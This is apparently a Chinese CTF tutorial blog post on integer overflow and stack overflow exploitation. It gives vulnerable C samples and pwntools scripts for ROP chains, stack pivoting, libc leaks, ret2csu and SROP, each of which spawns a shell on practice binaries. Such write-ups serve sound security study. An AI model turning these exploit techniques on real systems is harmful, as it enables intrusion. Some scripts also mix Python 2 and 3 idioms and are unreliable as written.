整型溢出及栈溢出

本文最后更新于:2024年5月21日 晚上

整数溢出

由于数据类型的使用不当产生的利用点
如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<stdlib.h>
int main(){
int a=0;
char c[10]="";
read(0,c,5);
if (c[0]=='-') {
a=atoi(c);
if (a>=0) {
if (a<10) {
system("/bin/sh");
}
}
}
}

在这个示例中,输入4294967295,是可以执行 system("/bin/sh"); ,因为aint类型,默认为4字节有符号整型,而4294967295的十六进制为 0xffffffff,刚好为-1的补码 ,所以实际a的值为-1, -1<0<10,所以可以绕过判断执行system("/bin/sh");

栈溢出

简单溢出

当程序对输入的数据大小没有限制或限制不严谨,就会出现栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* 样例代码 */
#include<stdio.h>
#include<stdlib.h>
char *binsh="/bin/sh";
int vuln(){
system("date");
char a[0x20]={};
read(0,a,0x50);
return 0;
}

int main(){
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdin,0,1,0);
vuln();
return 0;
}
/*编译命令
gcc 1.c -m64 -o s64 -fno-stack-protector -no-pie
gcc 1.c -m32 -o s32 -fno-stack-protector -no-pie
*/

x86

调用vuln函数过程

vuln函数返回过程

通过返回过程可以看出,如果将栈中储存的vuln返回地址修改了,就可以控制程序执行流程,且参数就放在 返回地址后面,这样调用某个函数并传参非常方便

main函数代码

vuln函数代码

vuln函数栈布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
"""exp思路
通过栈溢出,控制返回地址为 system@plt ,并设置参数为 "/bin/sh"
"""

"""
system函数在plt表中的地址为 0x8049090
/bin/sh 字符串在程序中的地址为 0x804a008
ret 指令地址为 0x804900e
"""
from pwn import *
p=process('./s32')

ret=0x0804900e
p.sendline(b'a'*0x28+b'b'*4+p32(0x8049090)+p32(ret)+p32(0x804a008))
"""
设置vuln函数返回地址为 0x8049090
设置system函数返回地址为 0x804900e (任意地址)
设置system函数参数为 0x804a008
"""
p.interactive()

x86_64

调用vuln函数过程

vuln函数返回过程

通过返回过程可以看出,如果将栈中储存的vuln返回地址修改了,就可以控制程序执行流程,但前6个参数通过寄存器传入,调用某个函数并传参,就比较麻烦,需要找到pop xxx;ret 指令,控制寄存器

main函数代码

vuln函数代码

vuln函数栈布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
"""exp思路
通过栈溢出,先调用 pop rdi;ret 指令,设置 system函数 的参数,
然后调用 system@plt
"""

"""
system函数在plt表中的地址为 0x401060
/bin/sh 字符串在程序中的地址为 0x402004
ret 指令地址为 0x40101a
pop rdi;ret 指令地址为 0x4012b3
"""
from pwn import *

rdi=0x4012b3
ret=0x40101a
p=process('./s64')
gdb.attach(p,'bp %s'%ret)
p.sendline(b'a'*0x20+b'b'*8+p64(ret)+p64(rdi)+p64(0x402004)+p64(0x401060))
"""
设置vuln函数返回地址为 0x40101a 用来对齐栈
设置rdi寄存器的值为 0x402004
"""
p.interactive()


因为在system函数中 执行了指令 movaps xmmword ptr[rsp+0x50],xmm0, 即 向 rsp+0x50的地址处写入 128 位的数据, 而 movaps指令需要对齐,所以rsp+0x50指向的地址就要与128位(0x10字节)对齐 ,但这里rsp指向的地址为0x7ffcc3740e48显然无法与0x10对齐, 所以在执行system函数时会导致程序中断, 虽然按照逻辑是可以获取shell的,但因为程序中断了,所以获取不了shell

栈迁移

当存在栈溢出,但溢出的数据较小时,可以尝试使用栈迁移

能够覆盖ret

1
2
3
4
5
6
7
8
9
10
/*样例代码*/
#include<stdio.h>
int main(){
char a[0x20]={};
read(0,a,0x30);
write(1,a,0x30);
}
/*编译命令
gcc pwn_tran.c -fno-stack-protector -no-pie -o pwn_tran
*/

在这个仅向栈中写入数据的例子中,数据的地址必须通过rbp计算得到

main 函数代码

main 函数栈布局

main 函数汇编代码
存在 leave;ret 相当于 mov rsp,rbp;pop rbp;ret

程序中不存在后门函数,那么想要获取shell, 就需要获取libc地址,通过栈迁移构造system("/bin/sh");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
"""exp思路
将栈迁移到 got表 附近通过 write 获取程序引用的 libc在内存中的基地址
然后将栈迁移到 bss段 中较高的地址处,执行 system函数
"""
from pwn import *
p=process('pwn_tran')
e=ELF('',checksec=False)
libc=ELF('libc-2.33.so',checksec=False)
leave=0x4011bd
ret=0x4011be
read=0x401182
write=0x40119d
bss=0x404048
read_got=0x404020
rdi=0x0000000000401223
p.send(b'a'*0x20+p64(bss)+p64(read))
p.read()
payload=b'/bin/sh\x00'+p64(bss+0x800)+p64(read)+p64(bss-0x18)+p64(bss-0x18)+p64(write)
p.send(payload)
p.read(0x40)
read_addr=u64(p.read(8))
libc.address=read_addr-libc.sym['read']
print(hex(libc.address))
system=libc.sym['system']
bin_sh=next(libc.search(b"/bin/sh"))
bss=bss+0x700
payload=p64(bss+0x200)+p64(rdi)+p64(bin_sh)+p64(system)+p64(bss+0x100-0x20)+p64(leave)
# 在调用system时不能使用上面在bss段中设置的/bin/sh作为参数 ,因为他在调用write函数时被修改了
p.send(payload)
p.interactive()

无法覆盖ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*样例代码*/
#include<stdio.h>
char b[0x20]={};
void func(){
char a[0x20]={};
read(0,a,0x28);
read(0,b,0x60);
write(1,b,0x60);
}
int main(){
char a=0;
func();
}
/*编译命令
gcc pwn_tran.c -fno-stack-protector -no-pie -o pwn_tran
*/

main 函数代码

main 函数栈布局

main 函数汇编代码

func 函数代码

func 函数栈布局

func 函数汇编代码

就我现在的认知来说,当栈溢出只能修改rbp时,至少需要在返回时连续执行两次leave,才可能控制
> 如果在函数返回后,不存在对向栈中写入数据的操作,则需要用户在迁移前向一块地址已知的区域写入数据,否则就无法控制程序流
> 如果在函数返回后,存在向栈中写入数据的操作(写入数据地址通过rbp计算),那么依旧可以控制程序流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
"""exp思路
因为程序允许向 bss 段中写入数据,而且在 main 函数中也存在 leave;ret 指令,
所以我们在 func 函数中将 rbp 设置为全局变量 b ,
然后通过 main 函数中的 leave;ret 指令,将栈迁移到 bss 段中
在bss段中构造指令泄露 read 函数真实地址,
从而获取 libc 的基地址,进而获取 system 函数地址
因为全局变量 b 太靠近不可写的段了,
所以需要将栈迁移到较高地址处,然后执行 system("/bin/sh")
"""
from pwn import *
b_add=0x404060
read_got=0x404020
read=0x401182
write_plt=0x401050
read_plt=0x401060
rdi=0x401263
rsi_15=0x401261
leave=0x4011d4

e=ELF('./pwn_tran',checksec=0)
libc=ELF('libc-2.33.so',checksec=0)
p=process('pwn_tran')
p.send(b'a'*0x20+p64(b_add))
p.sendline(p64(b_add)+p64(rdi)+p64(1)+p64(rsi_15)+p64(read_got)+p64(0)+p64(write_plt)+p64(read))
p.read(0x60)
d=u64(p.read(8))
print(hex(d))
libc.address=d-libc.sym['read']
system=libc.sym['system']
bin_sh=next(libc.search('/bin/sh'))
p.sendline('')

payload=p64(b_add+0x808)+p64(rdi)+p64(0)+p64(rsi_15)+p64(b_add+0x808)+p64(0)+p64(read_plt)+p64(leave)
print(hex(len(payload)))
p.send(payload)
pause()
p.send(p64(b_add+0x900)+p64(rdi)+p64(bin_sh)+p64(system))
p.interactive()

ret2csu

当在执行某些函数或系统调用时需要设置 rdi,rsi,rdx 寄存器时,可以使用ret2csu方法设置寄存器

利用下半段指令控制寄存器,利用上半段指令设置rdi,rsi,rdx寄存器,并执行指定地址储存的函数地址(也可以是指令地址),函数或指令的地址通过 r15+rbx*8 获取,所以需要先在已知地址处写入函数或指令的地址(也可以是got表中的成员)

在控制寄存器时一般设置 rbx=0,rbp=1 这样可以跳出上半段的循环,设置r15为函数地址的二级指针,设置r12rdi的值(仅支持4字节),r13rsi的值,r14rdx的值,就将64位程序的前三个参数设置好了

在我的理解中,ret2csu就是用来修改 rdx寄存器的值,因为存在__libc_csu_init函数就存在 pop rdipop rsi;pop r15指令 ,这样就解决了前两个参数,而pop rdx指令一般不存在,所以需要利用ret2csu设置

仅在64位程序中使用,因为64位程序使用寄存器传参,而32位程序的参数储存在栈中,不需要再单独通过ret2csu控制参数

样例为buuctf中的ciscn_2019_s_3题目

main函数代码

vuln函数代码

vuln函数栈布局

vuln函数汇编代码

可利用的指令

函数列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
"""exp思路
先通过write(0,buf,0x30) 获取栈地址,
然后将/bin/sh写入栈中,
利用ret2csu,设置rdx,rsi为0,
然后设置rdi为 /bin/sh 的地址
最后调用 execve("/bin/sh");
"""
from pwn import *

rdi=0x00000000004005a3
pops=0x40059a
call=0x400580
syscall=0x400517
execve=0x4004e2
ret=0x4005a4
vuln=0x4004ed

p=process('./srop')
payload=b'a'*0x10+p64(vuln)
p.sendline(payload)
p.read(0x20)
stack=u64(p.read(8))-0x118-0x10
print(hex(stack))
payload="/bin/sh\x00"+p64(ret)+p64(pops)+p64(0)+p64(1)+p64(stack+8)+p64(0)+p64(0)+p64(0)+p64(call)+p64(0)*7+p64(execve)+p64(rdi)+p64(stack)+p64(syscall)
p.sendline(payload)
p.interactive()

SROP

利用系统调用sigreturn设置所有寄存器值为栈中的数据

样例为buuctf中的ciscn_2019_s_3题目

main函数代码

vuln函数代码

vuln函数栈布局

vuln函数汇编代码

可利用的指令

函数列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
"""exp思路
利用SROP 设置寄存器的值,构造read(0,bss,0x300),并将栈迁移到bss+8上
然后再次利用SROP 设置寄存器的值,构造execve("/bin/sh") 获取shell
"""
from pwn import *

context.arch='amd64'
p=process('./srop')
bss=0x601030
sig=0x4004da
syscall=0x400517

execve=SigreturnFrame()
execve.rdi=bss
execve.rsi=0
execve.rdx=0
execve.rsp=bss+0x300
execve.rbp=bss
execve.rax=0x3b
execve.rip=syscall

read=SigreturnFrame()
read.rdi=0
read.rsi=bss
read.rdx=0x300
read.rsp=bss+0x8
read.rbp=bss+0x100
read.rax=0
read.rip=syscall
p.sendline(b'a'*0x10+p64(sig)+p64(syscall)+str(read))

p.send(b'/bin/sh\x00'+p64(sig)+p64(syscall)+str(execve))
p.interactive()

整型溢出及栈溢出
https://rot-will.github.io/page/整型溢出及栈基础/
作者
rot_will
发布于
2022年6月23日
更新于
2024年5月21日
许可协议